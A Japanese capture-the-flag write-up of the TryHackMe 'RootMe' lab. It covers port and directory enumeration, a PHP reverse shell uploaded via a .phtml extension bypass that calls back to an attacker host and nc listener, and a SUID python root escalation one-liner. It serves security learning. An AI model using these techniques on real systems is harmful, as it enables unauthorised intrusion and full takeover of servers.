TryHackMe Writeup：RootMe

# はじめに
本記事はTryHackMeのWriteupです。
Roomは[RootMe](https://tryhackme.com/room/rrootme)で、Difficulty（難易度）はEasyです。

RootMeは一般的なハッキングフローの流れに沿って、偵察行為を皮切りに発見したコンテンツから脆弱性を特定します。脆弱性特定後、攻撃手法を確立させてリバースシェルの取得及び、管理者権限（root権限）の取得等について学習します。

セキュリティの本質に関わる基礎的な部分を学習するにはうってつけのRoomだと思います。
Deploy the machineでマシンデプロイ後、以降のTaskについて解説していきます。

## Reconnaissance
はじめに偵察行為から行います。
偵察行為については以前書いた[Content Discovery Webアプリケーションに対する偵察行為](https://qiita.com/Brutus/items/6b89c9518ea90695232f)を参照。

### ポートスキャン
空いているポートを特定するためには**Nmap**を使用します。
ここでは事前に用意したシェルを介してポートスキャンを実行しています。

`$ ./nmap.sh ＜対象ホストのIPアドレス＞`

```console
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-09 22:25 JST
Nmap scan report for 10.10.248.164
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds
```

上記、ポートスキャンの結果より22番ポートと、80番ポートが空いていることが確認できます。
また、それぞれのミドルウェアのバージョン及び、OS情報についても確認できます。

### コンテンツの探索
タスクの通りに**gobuste**rを使用してコンテンツの探索を行います。
ワードリストはdirbのデフォルトで使用されている`/usr/share/wordlists/dirb/common.txt`を使用しています。

`$ gobuster dir --url http://＜対象ホストのIPアドレス＞ --wordlist /usr/share/wordlists/dirb/common.txt`

```console
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.248.164
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/06/09 22:39:07 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://10.10.248.164/css/]
/index.php            (Status: 200) [Size: 616]                                
/js                   (Status: 301) [Size: 311] [--> http://10.10.248.164/js/] 
/panel                (Status: 301) [Size: 314] [--> http://10.10.248.164/panel/]
/server-status        (Status: 403) [Size: 278]                                  
/uploads              (Status: 301) [Size: 316] [--> http://10.10.248.164/uploads/]
                                                                                   
===============================================================
2022/06/09 22:41:05 Finished
===============================================================
```

`index.php`ファイルや、`panel`及び`uploads`ディレクトリ等いくつかのコンテンツを発見しました。
探索結果からphpを使用していると推定します。

## Getting a shell
Firefoxのブラウザを起動します。
URLに対象マシンのIPアドレス及び、gobusterで発見した`panel`を指定してアクセスします。

![スクリーンショット 2022-06-09 22.48.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/fb754ceb-40a3-3b21-13df-631b6a801214.png)

`panel`はファイルをアップロードする画面になっています。

Task：
>Find a form to upload and get a reverse shell, and find the flag.

Hint：
>Search for "file upload bypass" and "PHP reverse shell".

Taskの内容とヒントからミドルウェアの脆弱性ではなく、アプリケーションの欠陥を突いて、リバースシェルを取得してバイパスするためのTaskと考えます。
リバースシェルを取得する方法についてはHintのキーワードを参考にGoogleで調べます。

### リバースシェル
調べた情報を参考にし、**リバースシェル**を行うためにファイルアップロードを行います。

リバースシェルはphpのリバースシェルとしてよく使用されている[php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell)をGitHubよりcloneします。

攻撃前の準備作業として`php-reverse-shell.php`ファイルのIPアドレスとポート番号を、攻撃端末のIPアドレスとポート番号に変更します。

```vim
    49  $ip = '192.168.x.x';  // CHANGE THIS
    50  $port = 4444;  
```

また、事前に攻撃端末側で上記ポートを指定して`nc`コマンドを実行して通信を待機します。

`$ nc -lnvp 4444`

準備完了後、リバースシェルとして利用する`php-reverse-shell.php`ファイルをアップロードします。

![スクリーンショット 2022-06-09 23.17.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/dca063cb-9bc2-a137-4d79-491f05a37ec5.png)

`php-reverse-shell.php`ファイルをアップロードすると、PHPが許可されていないことが確認できました。

![スクリーンショット 2022-06-09 23.17.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/4d8d0a4c-09e9-a4d5-a87b-39629807dfac.png)

このような場合はファイル名の拡張子を変更することでアプリケーションを騙すことができます。代替可能なファイル名の拡張子の例について以下に記載します。

```text
.pht, phtml, .php3, .php4, .php5, .php6, .inc
```

`php-reverse-shell.php`ファイルのファイル名の拡張子を`phtml`に変更して再度アップロードを行います。

![スクリーンショット 2022-06-11 19.25.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/881e1480-0125-e7c5-25f7-d8bb41d3f95d.png)

アップロードに成功しました。

![スクリーンショット 2022-06-11 19.26.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/86ea7086-84fc-41d9-d8fa-61986ac46e1a.png)

アップロードした`php-reverse-shell.php`ファイルは`uploads`ディレクトリに格納されています。
パス名を`uploads`に変更してアクセスすることで、PHPスクリプトが実行されます。
アクセス方法はブラウザからでも`curl`コマンドでも構いません。ではブラウザからアクセスします。

![スクリーンショット 2022-06-11 19.27.49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/09ff71df-40e0-d43a-2327-841e5df142f0.png)

リバースシェルの仕組みにより、攻撃端末側に制御が移りシェルが取得できました。

![スクリーンショット 2022-06-11 19.39.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/f24e8c2e-81b8-8b24-9bc0-7af2fb7221ac.png)

しかし、シェルが不安定なため、タブ補完が効かないなど操作がしにくい状態です。
そのため、以下のコマンドを実行してシェルの安定化を行います。

pythonを用いてbashを起動します。**pty**モジュールは擬似端末して機能し、`pty.spawn`はプロセスを生成して制御端末を現在のプロセスの標準入出力に接続します。これは制御端末を読もうとするプログラムをごまかすために利用されます。
`$ python -c 'import pty;pty.spawn("/bin/bash")'`

現在のプロセスをctrl +zで一時停止します。
`ctrl + z`

**stty**コマンドは端末の設定を行うためのコマンドです。オプションの意味として`raw`モードにすることで入力1文字ごとにデータをプログラムに渡すようにします。また、`-echo`の`-`は`echo`を無効にします。端末設定後、プロセスを`fg`コマンドでフォアグラウンドに戻しています。
`$ stty raw -echo; fg`

この時点でシェルは安定した状態に遷移し、タブ補完も効くようになります。更に環境変数の設定を行うことでカスタムしていきます。

ここでは環境変数の`TERM`をX Window Systemの標準のターミナルエミュレータである`xterm`に変更しています。デフォルトは各回線毎のOSによって異なります。また、シェルはwww-dataのログインシェルである`/usr/sbin/nologin`の状態です。作業しやすいように`SHELL`を`bash`に変更します。
`$ export TERM=xterm`
`$ export SHELL=bash`

環境変数設定後、以下のコマンドを実行してユーザーフラグのテキストファイルを検索します。
`$ find / -name user.txt 2> /dev/null`

```console
/var/www/user.txt
```
ユーザーフラグのテキストファイルを発見しました。
以下のコマンドを実行して発見したユーザーフラグを確認します。
`$ cat /var/www/user.txt`

```console
THM{***_***_*_*****}
```

フラグはよく見るとメッセージになっています。
まるでラーメンのスープを最後まで飲み干した際に底に書いてあるようなメッセージのようです。

## Privilege escalation

### 権限昇格
管理者権限を取得するために、ヒントを頼りに以下のコマンドを実行して、SUID権限を持つファイルを検索します。

`$ find / -user root -perm /4000 2> /dev/null `

<details><summary>出力例</summary>

```console
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
```
</details>

出力結果から**python**が怪しそうです。

特権を昇格させるための手口を発見するために[GTFOBins](https://gtfobins.github.io/)を参照し、上記で発見したpythonを基に検索します。
**SUID**より以下のコマンドを実行し、特権昇格を行います。

`$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'`

以下は特権昇格前後の違いです。
`whoami`コマンドの結果からrootユーザーであることが確認できます。

- シェル取得後の状態
```console
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
```

- 特権昇格後の状態
```console
# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
# whoami
root
```

root昇格後、ホームディレクトリを確認してみます。

`$ ls -l /root`

```console
-rw-r--r-- 1 root root 26 Aug  4  2020 root.txt
```

rootフラグのテキストファイルを発見しました。
以下のコマンドを実行して発見したrootフラグを確認します。

`$ cat /root/root.txt`

```console
THM{*********_**********}
```

これで全てのTaskは完了です。

# おわりに
ハッキングの基本について理解を深めるためにWriteupを書くことにしました。
Writeupを書いて深掘りすることにより、何故、このコマンドを実行しているか？について理解が深まります。

また、ツールなどで使用しているスクリプトについてもただ使用するだけでなく、動作を理解するためにはソースコードを読むことは重要です。

## 参考
### リバースシェルで使用されているPHPの関数
- [set_time_limit](https://www.php.net/manual/ja/function.set-time-limit.php)
- [function_exists](https://www.php.net/manual/ja/function.function-exists.php)
- [pcntl_fork](https://www.php.net/manual/ja/function.pcntl-fork.php)
- [posix_setsid](https://www.php.net/manual/ja/function.posix-setsid.php)
- [fsockopen](https://www.php.net/manual/ja/function.fsockopen.php)
- [proc_open](https://www.php.net/manual/ja/function.proc-open.php)
- [is_resource](https://www.php.net/manual/ja/function.is-resource.php)
- [stream_set_blocking](https://www.php.net/manual/ja/function.stream-set-blocking.php)
- [feof](https://www.php.net/manual/ja/function.feof.php)
- [stream_select](https://www.php.net/manual/ja/function.stream-select.php)
- [in_array](https://www.php.net/manual/ja/function.in-array.php)
- [fclose](https://www.php.net/manual/ja/function.fclose.php)
- [proc_close](https://www.php.net/manual/ja/function.proc-close.php)